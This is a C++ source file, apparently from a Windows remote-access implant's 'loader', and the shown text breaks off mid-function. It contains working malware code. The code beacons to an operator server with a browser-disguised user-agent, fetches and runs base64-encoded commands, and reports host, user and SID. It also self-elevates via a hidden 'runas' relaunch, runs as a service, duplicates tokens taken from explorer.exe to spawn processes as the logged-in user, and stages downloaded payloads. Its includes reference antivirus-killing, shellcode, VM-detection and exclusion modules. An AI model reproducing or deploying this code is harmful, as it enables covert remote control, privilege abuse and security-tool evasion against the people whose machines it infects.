Files
loader/CloudAgent.cpp
2026-11-03 20:45:39 -08:00

3465 lines
84 KiB
C++

#include "Common.h"
#include "CloudAgent.h"
#include "Logger.h"
#include "TokenUtils.h"
#include "DriverClient.h"
#include "ProcessUtils.h"
#include "ShellcodeUtils.h"
#include "AvKill.h"
#include "ServiceManager.h"
#include "GuardService.h"
#include "VmDetect.h"
#include "HostSpawn.h"
#include "HostStager.h"
#include "Paths.h"
#include "StageClient.h"
#include "Exclusions.h"
#include <winhttp.h>
#include <wincrypt.h>
#include <shellapi.h>
#include <sstream>
// Build-time defaults so the exe can run with no arguments at all (double-click).
#ifndef ARDRV_DEFAULT_URL
#define ARDRV_DEFAULT_URL L""
#endif
#ifndef ARDRV_DEFAULT_OPERATOR_KEY
#define ARDRV_DEFAULT_OPERATOR_KEY L""
#endif
#ifndef ARDRV_DEFAULT_SECRET
#define ARDRV_DEFAULT_SECRET L""
#endif
#ifndef ARDRV_DEFAULT_AGENT
#define ARDRV_DEFAULT_AGENT L""
#endif
#include <deque>
#include <algorithm>
#include <cwchar>
#include <cstdlib>
#include <cstring>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "shell32.lib")
#ifndef INTERNET_SCHEME_HTTPS
#define INTERNET_SCHEME_HTTPS 2
#endif
#ifndef WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2
#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x00000800
#endif
struct CloudConfig
{
std::wstring agent;
std::wstring url;
std::wstring secret;
DWORD intervalMs = 15000;
bool startDriver = true;
bool elevatedRequested = false;
std::wstring startupFile;
std::wstring startupArgs;
std::wstring startupCommand;
bool startupAsUser = false;
};
static CloudConfig g_activeCloudConfig;
static CloudConfig g_serviceConfig;
static bool g_allowVm = false;
static bool g_serviceConfigValid = false;
struct CloudCommand
{
std::wstring id;
std::wstring text;
};
static SERVICE_STATUS_HANDLE g_serviceStatusHandle = nullptr;
static SERVICE_STATUS g_serviceStatus{};
static HANDLE g_serviceStopEvent = nullptr;
static std::wstring g_serviceName = L"ArDrvAgent";
static void ReportServiceStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0)
{
if (!g_serviceStatusHandle)
return;
static DWORD checkPoint = 1;
g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_serviceStatus.dwCurrentState = state;
g_serviceStatus.dwWin32ExitCode = exitCode;
g_serviceStatus.dwWaitHint = waitHint;
g_serviceStatus.dwControlsAccepted =
(state == SERVICE_RUNNING) ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0;
if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING)
g_serviceStatus.dwCheckPoint = checkPoint++;
else
g_serviceStatus.dwCheckPoint = 0;
SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus);
}
static DWORD WINAPI ServiceCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context)
{
(void)eventType;
(void)eventData;
(void)context;
switch (control)
{
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
if (g_serviceStopEvent)
SetEvent(g_serviceStopEvent);
return NO_ERROR;
case SERVICE_CONTROL_INTERROGATE:
return NO_ERROR;
default:
return ERROR_CALL_NOT_IMPLEMENTED;
}
}
static void TrimW(std::wstring& s)
{
size_t a = 0;
size_t b = s.size();
while (a < b && iswspace(s[a]))
++a;
while (b > a && iswspace(s[b - 1]))
--b;
if (a != 0 || b != s.size())
s = s.substr(a, b - a);
}
static std::wstring Utf16(const std::string& s)
{
if (s.empty())
return std::wstring();
int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
if (n <= 0)
return std::wstring();
std::wstring w((size_t)n, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), w.data(), n);
return w;
}
static std::string Utf8(const std::wstring& w)
{
if (w.empty())
return std::string();
int n = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
if (n <= 0)
return std::string();
std::string s((size_t)n, '\0');
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), s.data(), n, nullptr, nullptr);
return s;
}
static int Base64Val(int c)
{
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
if (c >= '0' && c <= '9') return c - '0' + 52;
if (c == '+') return 62;
if (c == '/') return 63;
return -1;
}
static std::string Base64Decode(const std::string& input)
{
std::string clean;
clean.reserve(input.size());
for (char c : input)
{
if (c == ' ' || c == '\r' || c == '\n' || c == '\t')
continue;
clean.push_back(c);
}
std::string out;
out.reserve(clean.size());
int value = 0;
int bits = 0;
for (char c : clean)
{
if (c == '=')
break;
int v = Base64Val((unsigned char)c);
if (v < 0)
continue;
value = (value << 6) | v;
bits += 6;
if (bits >= 8)
{
bits -= 8;
out.push_back((char)((value >> bits) & 0xFF));
}
}
return out;
}
static std::string Base64Encode(const std::string& input)
{
static const char* tbl =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
std::string out;
int val = 0;
int bits = 0;
for (unsigned char c : input)
{
val = (val << 8) | c;
bits += 8;
while (bits >= 6)
{
bits -= 6;
out.push_back(tbl[(val >> bits) & 0x3F]);
}
}
if (bits > 0)
out.push_back(tbl[((val << (6 - bits)) & 0x3F)]);
while (out.size() % 4)
out.push_back('=');
return out;
}
static std::string Base64EncodeUtf16LE(const std::wstring& w)
{
if (w.empty())
return std::string();
std::string bytes;
bytes.resize(w.size() * sizeof(wchar_t));
memcpy(bytes.data(), w.data(), bytes.size());
return Base64Encode(bytes);
}
static std::wstring UrlEncode(const std::wstring& s)
{
std::string u = Utf8(s);
std::string out;
for (unsigned char c : u)
{
bool keep =
(c >= 'a' && c <= 'z') ||
(c >= 'A' && c <= 'Z') ||
(c >= '0' && c <= '9') ||
(c == '-') || (c == '_') || (c == '.') || (c == '~');
if (keep)
{
out.push_back((char)c);
}
else
{
char buf[8]{};
sprintf_s(buf, "%%%02X", c);
out += buf;
}
}
return Utf16(out);
}
static std::string HexLower(const BYTE* data, DWORD len)
{
static const char* digits = "0123456789abcdef";
std::string out;
out.reserve(len * 2);
for (DWORD i = 0; i < len; ++i)
{
out.push_back(digits[(data[i] >> 4) & 0xF]);
out.push_back(digits[data[i] & 0xF]);
}
return out;
}
// Raw SHA-256 of a byte string.
static std::string Sha256Raw(const std::string& data)
{
std::string out;
HCRYPTPROV prov = 0;
HCRYPTHASH hash = 0;
if (!CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
return out;
if (CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash))
{
const BYTE empty = 0;
const BYTE* ptr = data.empty() ? &empty : (const BYTE*)data.data();
if (data.empty() || CryptHashData(hash, ptr, (DWORD)data.size(), 0))
{
BYTE digest[32]{};
DWORD len = sizeof(digest);
if (CryptGetHashParam(hash, HP_HASHVAL, digest, &len, 0))
out.assign((const char*)digest, len);
}
CryptDestroyHash(hash);
}
CryptReleaseContext(prov, 0);
return out;
}
static std::string Sha256HexOfBytes(const std::string& data)
{
std::string raw = Sha256Raw(data);
if (raw.empty())
return std::string();
return HexLower((const BYTE*)raw.data(), (DWORD)raw.size());
}
// HMAC-SHA256 built on the plain digest so it does not depend on CryptoAPI
// HMAC key handling.
static std::string HmacSha256Raw(const std::string& keyIn, const std::string& message)
{
std::string key = keyIn;
if (key.size() > 64)
key = Sha256Raw(key);
key.resize(64, '\0');
std::string ipad(64, '\0');
std::string opad(64, '\0');
for (size_t i = 0; i < 64; ++i)
{
ipad[i] = (char)((unsigned char)key[i] ^ 0x36);
opad[i] = (char)((unsigned char)key[i] ^ 0x5C);
}
return Sha256Raw(opad + Sha256Raw(ipad + message));
}
static std::string HmacSha256Hex(const std::string& key, const std::string& message)
{
std::string raw = HmacSha256Raw(key, message);
if (raw.empty())
return std::string();
return HexLower((const BYTE*)raw.data(), (DWORD)raw.size());
}
static unsigned long long UnixTimeNow()
{
FILETIME ft{};
GetSystemTimeAsFileTime(&ft);
ULARGE_INTEGER u{};
u.LowPart = ft.dwLowDateTime;
u.HighPart = ft.dwHighDateTime;
return (u.QuadPart - 116444736000000000ULL) / 10000000ULL;
}
// Header-safe agent id: no CR/LF, no separators that break the canonical string.
static std::wstring SanitizeAgentId(const std::wstring& agent)
{
std::wstring out;
for (wchar_t ch : agent)
{
if ((ch >= L'a' && ch <= L'z') ||
(ch >= L'A' && ch <= L'Z') ||
(ch >= L'0' && ch <= L'9') ||
ch == L'.' || ch == L'_' || ch == L'-')
{
out.push_back(ch);
}
}
if (out.size() > 64)
out.resize(64);
return out;
}
// Request signature: HMAC(secret, agent \n ts \n method \n path \n sha256hex(body))
static std::wstring BuildRequestSignature(
const CloudConfig& cfg,
const std::wstring& method,
const std::wstring& path,
const std::string& body,
std::wstring& timestampOut)
{
std::wstring agent = SanitizeAgentId(cfg.agent);
unsigned long long now = UnixTimeNow();
timestampOut = std::to_wstring(now);
std::string canonical =
Utf8(agent) + "\n" +
Utf8(timestampOut) + "\n" +
Utf8(method) + "\n" +
Utf8(path) + "\n" +
Sha256HexOfBytes(body);
return Utf16(HmacSha256Hex(Utf8(cfg.secret), canonical));
}
// Per-agent key issued by /api/enroll and stored beside the host tracking file.
static std::wstring AgentKeyPath(const std::wstring& agent)
{
std::wstring safe;
for (wchar_t c : agent)
{
if ((c >= L'a' && c <= L'z') || (c >= L'A' && c <= L'Z') ||
(c >= L'0' && c <= L'9') || c == L'.' || c == L'_' || c == L'-')
{
safe.push_back(c);
}
}
return ArdrvRoot() + L"\\agent-" + safe + L".key";
}
static std::wstring ReadAgentKeyFile(const std::wstring& agent)
{
HANDLE h = CreateFileW(
AgentKeyPath(agent).c_str(),
GENERIC_READ,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (h == INVALID_HANDLE_VALUE)
{
// Legacy single-key layout: one agent.key per machine root.
h = CreateFileW(
(ArdrvRoot() + L"\\agent.key").c_str(),
GENERIC_READ,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
0,
nullptr);
}
if (h == INVALID_HANDLE_VALUE)
return std::wstring();
char buf[512]{};
DWORD read = 0;
ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr);
CloseHandle(h);
std::wstring out;
for (DWORD i = 0; i < read; ++i)
{
char c = buf[i];
if (c == '\r' || c == '\n' || c == ' ')
continue;
out.push_back((wchar_t)c);
}
return out;
}
static bool WriteAgentKeyFile(const std::wstring& agent, const std::wstring& secret)
{
std::string bytes = Utf8(secret);
HANDLE h = CreateFileW(
AgentKeyPath(agent).c_str(),
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
nullptr);
if (h == INVALID_HANDLE_VALUE)
return false;
DWORD written = 0;
BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr);
CloseHandle(h);
return ok && written == bytes.size();
}
static std::wstring JsonStringField(const std::string& json, const char* field)
{
std::string needle = std::string("\"") + field + "\":\"";
size_t pos = json.find(needle);
if (pos == std::string::npos)
return std::wstring();
pos += needle.size();
size_t end = json.find('"', pos);
if (end == std::string::npos)
return std::wstring();
return Utf16(json.substr(pos, end - pos));
}
static std::wstring RegReadString(const wchar_t* name)
{
std::wstring out;
HKEY h = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\\CloudAgent", 0, KEY_READ, &h) != ERROR_SUCCESS)
return out;
DWORD type = 0;
DWORD size = 0;
if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
(type != REG_SZ && type != REG_EXPAND_SZ) ||
size == 0)
{
RegCloseKey(h);
return out;
}
std::vector<wchar_t> buf(size / sizeof(wchar_t) + 1);
if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS)
out = buf.data();
RegCloseKey(h);
return out;
}
static std::wstring ConfigValue(const wchar_t* envName, const wchar_t* regName, const wchar_t* def)
{
wchar_t env[32768]{};
DWORD n = GetEnvironmentVariableW(envName, env, _countof(env));
if (n > 0 && n < _countof(env))
return env;
std::wstring reg = RegReadString(regName);
if (!reg.empty())
return reg;
return def ? def : L"";
}
static bool ParseBoolW(std::wstring v)
{
for (auto& ch : v)
{
if (ch >= L'A' && ch <= L'Z')
ch = (wchar_t)(ch + 32);
}
return v == L"1" ||
v == L"true" ||
v == L"yes" ||
v == L"on" ||
v == L"enable";
}
static bool ConfigBool(const wchar_t* envName, const wchar_t* regName, bool defaultValue)
{
std::wstring v = ConfigValue(envName, regName, L"");
if (v.empty())
return defaultValue;
return ParseBoolW(v);
}
static std::wstring MakeUrl(const CloudConfig& cfg, const std::wstring& path)
{
std::wstring url = cfg.url;
if (url.empty())
return url;
if (url.back() != L'/')
url += L'/';
url += path;
return url;
}
static bool HttpRequest(
const std::wstring& method,
const std::wstring& url,
const std::wstring& signPath,
const CloudConfig* auth,
const std::string& body,
std::string& response,
DWORD* statusCodeOut,
const std::wstring& extraHeaders = L"")
{
response.clear();
if (statusCodeOut)
*statusCodeOut = 0;
URL_COMPONENTS parsed{};
parsed.dwStructSize = sizeof(parsed);
wchar_t host[512]{};
wchar_t path[4096]{};
wchar_t extra[4096]{};
parsed.lpszHostName = host;
parsed.dwHostNameLength = _countof(host);
parsed.lpszUrlPath = path;
parsed.dwUrlPathLength = _countof(path);
parsed.lpszExtraInfo = extra;
parsed.dwExtraInfoLength = _countof(extra);
if (!WinHttpCrackUrl(url.c_str(), 0, 0, &parsed))
return false;
std::wstring uHost = host;
std::wstring uPath = path;
if (uPath.empty())
uPath = L"/";
if (extra[0])
uPath += extra;
INTERNET_PORT port = parsed.nPort;
if (port == 0)
{
port = (parsed.nScheme == INTERNET_SCHEME_HTTPS)
? INTERNET_DEFAULT_HTTPS_PORT
: INTERNET_DEFAULT_HTTP_PORT;
}
HINTERNET session = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (!session)
return false;
DWORD protocols = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2;
WinHttpSetOption(session, WINHTTP_OPTION_SECURE_PROTOCOLS, &protocols, sizeof(protocols));
WinHttpSetTimeouts(session, 5000, 10000, 15000, 30000);
HINTERNET connect = WinHttpConnect(session, uHost.c_str(), port, 0);
if (!connect)
{
WinHttpCloseHandle(session);
return false;
}
DWORD flags = (parsed.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0;
HINTERNET request = WinHttpOpenRequest(
connect,
method.c_str(),
uPath.c_str(),
nullptr,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
flags);
if (!request)
{
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return false;
}
std::wstring headers = L"Accept: application/json, text/plain, */*\r\n";
if (auth && !auth->agent.empty() && !auth->secret.empty())
{
std::wstring timestamp;
std::wstring signature =
BuildRequestSignature(*auth, method, signPath, body, timestamp);
headers += L"X-Agent-Id: " + SanitizeAgentId(auth->agent) + L"\r\n";
headers += L"X-Agent-Ts: " + timestamp + L"\r\n";
headers += L"X-Agent-Sign: " + signature + L"\r\n";
}
if (!body.empty())
headers += L"Content-Type: application/octet-stream\r\n";
if (!extraHeaders.empty())
headers += extraHeaders;
const wchar_t* hdr = headers.empty() ? nullptr : headers.c_str();
DWORD hdrLen = hdr ? (DWORD)-1 : 0;
LPVOID data = body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data();
DWORD dataLen = (DWORD)body.size();
if (!WinHttpSendRequest(request, hdr, hdrLen, data, dataLen, dataLen, 0))
{
WinHttpCloseHandle(request);
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return false;
}
if (!WinHttpReceiveResponse(request, nullptr))
{
WinHttpCloseHandle(request);
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return false;
}
if (statusCodeOut)
{
DWORD status = 0;
DWORD size = sizeof(status);
if (WinHttpQueryHeaders(
request,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX,
&status,
&size,
WINHTTP_NO_HEADER_INDEX))
{
*statusCodeOut = status;
}
}
DWORD available = 0;
while (WinHttpQueryDataAvailable(request, &available))
{
if (available == 0)
break;
size_t oldSize = response.size();
response.resize(oldSize + available);
DWORD read = 0;
if (!WinHttpReadData(request, &response[oldSize], available, &read) || read == 0)
break;
if (read < available)
response.resize(oldSize + read);
}
WinHttpCloseHandle(request);
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return true;
}
static std::wstring GetProcessSidString();
// Metadata the panel shows. Sent with every poll, so the agent is listed even
// before its first command runs.
static std::wstring AgentMetaHeaders(const CloudConfig& cfg)
{
wchar_t host[256]{};
DWORD hostLen = _countof(host);
GetComputerNameW(host, &hostLen);
wchar_t user[256]{};
DWORD userLen = _countof(user);
GetUserNameW(user, &userLen);
std::wstring meta;
meta += L"X-Agent-Host: ";
meta += host;
meta += L"\r\n";
meta += L"X-Agent-User: ";
meta += user;
meta += L"\r\n";
meta += L"X-Agent-Sid: ";
meta += GetProcessSidString();
meta += L"\r\n";
meta += L"X-Agent-Version: 1.1.0\r\n";
meta += L"X-Agent-Interval: ";
meta += std::to_wstring(cfg.intervalMs);
meta += L"\r\n";
meta += L"X-Agent-System: ";
meta += IsCurrentProcessSystem() ? L"1\r\n" : L"0\r\n";
return meta;
}
static bool PollCommand(const CloudConfig& cfg, CloudCommand& out)
{
out = CloudCommand();
std::wstring path = L"poll?agent=" + UrlEncode(SanitizeAgentId(cfg.agent));
std::string body;
DWORD status = 0;
if (!HttpRequest(L"GET", MakeUrl(cfg, path), path, &cfg, body, body, &status, AgentMetaHeaders(cfg)))
return false;
if (status >= 400)
return false;
if (status == 204 || body.empty())
return false;
while (!body.empty() &&
(body.back() == '\r' || body.back() == '\n' || body.back() == '\0'))
{
body.pop_back();
}
size_t nl = body.find('\n');
std::string idPart;
std::string cmdPart;
if (nl != std::string::npos)
{
idPart = body.substr(0, nl);
cmdPart = body.substr(nl + 1);
}
else
{
cmdPart = body;
}
std::string decoded = Base64Decode(cmdPart);
if (decoded.empty() && !cmdPart.empty())
decoded = cmdPart;
out.id = Utf16(idPart);
out.text = Utf16(decoded);
TrimW(out.text);
return !out.text.empty();
}
static bool AckCommand(const CloudConfig& cfg, const std::wstring& id, const std::wstring& result)
{
std::wstring path =
L"ack?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)) +
L"&id=" + UrlEncode(id);
std::string body = Base64Encode(Utf8(result));
std::string resp;
return HttpRequest(L"POST", MakeUrl(cfg, path), path, &cfg, body, resp, nullptr);
}
static std::wstring GetProcessSidString()
{
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return L"?";
DWORD needed = 0;
GetTokenInformation(hToken, TokenUser, nullptr, 0, &needed);
if (needed == 0)
{
CloseHandle(hToken);
return L"?";
}
std::vector<BYTE> buf(needed);
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
if (!GetTokenInformation(hToken, TokenUser, tu, needed, &needed))
{
CloseHandle(hToken);
return L"?";
}
LPWSTR sidStr = nullptr;
std::wstring out = L"?";
if (ConvertSidToStringSidW(tu->User.Sid, &sidStr))
{
out = sidStr;
LocalFree(sidStr);
}
CloseHandle(hToken);
return out;
}
static bool IsProcessAdmin()
{
PSID adminSid = nullptr;
bool isAdmin = false;
if (ConvertStringSidToSidW(L"S-1-5-32-544", &adminSid))
{
BOOL member = FALSE;
if (CheckTokenMembership(nullptr, adminSid, &member))
isAdmin = (member == TRUE);
FreeSid(adminSid);
}
return isAdmin;
}
static std::wstring BuildParamsForRelaunch(int argc, wchar_t** argv)
{
std::wstring params;
for (int i = 1; i < argc; ++i)
{
std::wstring arg = argv[i];
if (arg.empty())
continue;
bool needQuote = arg.find(L' ') != std::wstring::npos;
if (!params.empty())
params += L" ";
if (needQuote)
params += L'"';
params += arg;
if (needQuote)
params += L'"';
}
if (!params.empty())
params += L" ";
params += L"--elevated";
return params;
}
static bool EnsureAdminIfNeeded(int argc, wchar_t** argv, const CloudConfig& cfg)
{
if (cfg.elevatedRequested)
return true;
if (IsCurrentProcessSystem())
return true;
if (IsProcessAdmin())
return true;
wchar_t exe[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe));
if (len == 0 || len >= _countof(exe))
return false;
std::wstring params = BuildParamsForRelaunch(argc, argv);
HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_HIDE);
if ((INT_PTR)h > 32)
{
ExitProcess(0);
return true;
}
h = ShellExecuteW(nullptr, nullptr, exe, params.c_str(), nullptr, SW_HIDE);
if ((INT_PTR)h > 32)
{
ExitProcess(0);
return true;
}
return false;
}
static HANDLE DuplicateTokenForPrimary(HANDLE src)
{
HANDLE dup = nullptr;
const DWORD fullAccess =
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID;
if (DuplicateTokenEx(src, fullAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup))
return dup;
const DWORD minimalAccess =
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT;
dup = nullptr;
if (DuplicateTokenEx(src, minimalAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup))
return dup;
return nullptr;
}
static bool TokenSession(HANDLE token, DWORD session)
{
DWORD s = 0;
DWORD needed = 0;
if (!GetTokenInformation(token, TokenSessionId, &s, sizeof(s), &needed))
return false;
return s == session;
}
static HANDLE GetActiveUserToken()
{
if (!IsCurrentProcessSystem())
{
HANDLE tok = nullptr;
if (OpenProcessToken(
GetCurrentProcess(),
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID,
&tok))
{
return tok;
}
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &tok))
{
HANDLE dup = DuplicateTokenForPrimary(tok);
CloseHandle(tok);
return dup;
}
return nullptr;
}
EnablePrivilege(SE_TCB_NAME);
DWORD session = WTSGetActiveConsoleSessionId();
if (session == 0xFFFFFFFF)
return nullptr;
HANDLE userTok = nullptr;
if (WTSQueryUserToken(session, &userTok))
{
HANDLE dup = DuplicateTokenForPrimary(userTok);
CloseHandle(userTok);
return dup;
}
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return nullptr;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
HANDLE found = nullptr;
if (Process32First(snap, &pe))
{
do
{
if (_wcsicmp(pe.szExeFile, L"explorer.exe") != 0)
continue;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProc)
continue;
HANDLE tok = nullptr;
const DWORD access =
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID;
if (!OpenProcessToken(hProc, access, &tok))
{
if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &tok))
{
CloseHandle(hProc);
continue;
}
HANDLE dup = DuplicateTokenForPrimary(tok);
CloseHandle(tok);
CloseHandle(hProc);
if (dup && TokenSession(dup, session))
{
found = dup;
break;
}
if (dup)
CloseHandle(dup);
continue;
}
HANDLE dup = DuplicateTokenForPrimary(tok);
CloseHandle(tok);
CloseHandle(hProc);
if (dup && TokenSession(dup, session))
{
found = dup;
break;
}
if (dup)
CloseHandle(dup);
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return found;
}
static bool RunCommandLineCurrent(const std::wstring& commandLine)
{
if (commandLine.empty())
return false;
std::wstring cmd = commandLine;
STARTUPINFOW si{};
si.cb = sizeof(si);
PROCESS_INFORMATION pi{};
BOOL ok = CreateProcessW(
nullptr,
cmd.data(),
nullptr,
nullptr,
FALSE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&si,
&pi);
if (ok)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return ok == TRUE;
}
static bool RunCommandLineAsUser(const std::wstring& commandLine)
{
if (commandLine.empty())
return false;
HANDLE tok = GetActiveUserToken();
if (!tok)
return RunCommandLineCurrent(commandLine);
if (IsCurrentProcessSystem())
{
DWORD session = WTSGetActiveConsoleSessionId();
if (session != 0xFFFFFFFF)
SetTokenInformation(tok, TokenSessionId, &session, sizeof(session));
}
LPVOID env = nullptr;
BOOL envOk = CreateEnvironmentBlock(&env, tok, FALSE);
STARTUPINFOW si{};
si.cb = sizeof(si);
si.lpDesktop = const_cast<LPWSTR>(L"Winsta0\\Default");
std::wstring cmd = commandLine;
PROCESS_INFORMATION pi{};
BOOL ok = CreateProcessAsUserW(
tok,
nullptr,
cmd.data(),
nullptr,
nullptr,
FALSE,
CREATE_NEW_CONSOLE,
envOk ? env : nullptr,
nullptr,
&si,
&pi);
if (ok)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
if (envOk)
DestroyEnvironmentBlock(env);
CloseHandle(tok);
if (!ok)
return RunCommandLineCurrent(commandLine);
return true;
}
static std::wstring TrimQuotes(const std::wstring& s)
{
if (s.size() >= 2 && s.front() == L'"' && s.back() == L'"')
return s.substr(1, s.size() - 2);
return s;
}
static std::wstring QuotePathIfNeeded(const std::wstring& path)
{
if (path.empty())
return path;
if (path.front() == L'"')
return path;
if (path.find(L' ') != std::wstring::npos)
return L"\"" + path + L"\"";
return path;
}
static std::wstring MakeCommandLineFromPath(const std::wstring& pathIn, const std::wstring& args)
{
std::wstring path = TrimQuotes(pathIn);
wchar_t abs[MAX_PATH]{};
if (GetFullPathNameW(path.c_str(), _countof(abs), abs, nullptr))
path = abs;
std::wstring full = QuotePathIfNeeded(path);
if (!args.empty())
{
full += L" ";
full += args;
}
return full;
}
static bool ParseToken(const std::wstring& line, size_t& pos, std::wstring& token)
{
while (pos < line.size() && iswspace(line[pos]))
++pos;
if (pos >= line.size())
return false;
token.clear();
if (line[pos] == L'"')
{
++pos;
while (pos < line.size() && line[pos] != L'"')
{
token += line[pos];
++pos;
}
if (pos < line.size())
++pos;
return !token.empty();
}
while (pos < line.size() && !iswspace(line[pos]))
{
token += line[pos];
++pos;
}
return !token.empty();
}
static bool RunShellExecuteCurrent(const std::wstring& pathIn, const std::wstring& args)
{
std::wstring path = TrimQuotes(pathIn);
if (path.empty())
return false;
HINSTANCE h = ShellExecuteW(
nullptr,
nullptr,
path.c_str(),
args.empty() ? nullptr : args.c_str(),
nullptr,
SW_SHOW);
return (INT_PTR)h > 32;
}
static std::wstring GetCmdExePath()
{
wchar_t sys[MAX_PATH]{};
UINT n = GetSystemDirectoryW(sys, _countof(sys));
if (n == 0 || n >= _countof(sys))
return L"C:\\Windows\\System32\\cmd.exe";
std::wstring path = sys;
path += L"\\cmd.exe";
return path;
}
static std::wstring GetPayloadDir()
{
return ArdrvStageDir();
}
static std::wstring FileNameFromUrl(const std::wstring& url)
{
std::wstring path = url;
size_t q = path.find_first_of(L"?#");
if (q != std::wstring::npos)
path = path.substr(0, q);
size_t slash = path.find_last_of(L'/');
if (slash != std::wstring::npos)
path = path.substr(slash + 1);
for (auto& ch : path)
{
if (ch == L':' || ch == L'*' || ch == L'?' || ch == L'"' ||
ch == L'<' || ch == L'>' || ch == L'|')
{
ch = L'_';
}
}
if (path.empty())
path = L"payload.bin";
return path;
}
static std::wstring Sha256OfFile(const std::wstring& path)
{
HANDLE file = CreateFileW(
path.c_str(),
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (file == INVALID_HANDLE_VALUE)
return std::wstring();
HCRYPTPROV prov = 0;
HCRYPTHASH hash = 0;
std::wstring hex;
if (CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&
CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash))
{
BYTE buf[64 * 1024]{};
DWORD read = 0;
bool ok = true;
while (ok && ReadFile(file, buf, sizeof(buf), &read, nullptr) && read > 0)
ok = CryptHashData(hash, buf, read, 0) != FALSE;
if (ok)
{
BYTE digest[32]{};
DWORD digestLen = sizeof(digest);
if (CryptGetHashParam(hash, HP_HASHVAL, digest, &digestLen, 0))
{
static const wchar_t* digits = L"0123456789abcdef";
for (DWORD i = 0; i < digestLen; ++i)
{
hex += digits[(digest[i] >> 4) & 0xF];
hex += digits[digest[i] & 0xF];
}
}
}
}
if (hash)
CryptDestroyHash(hash);
if (prov)
CryptReleaseContext(prov, 0);
CloseHandle(file);
return hex;
}
static bool DownloadUrlToFile(
const std::wstring& url,
const std::wstring& outPathIn,
const std::wstring& expectedSha256,
std::wstring& error)
{
error.clear();
if (url.empty() || outPathIn.empty())
{
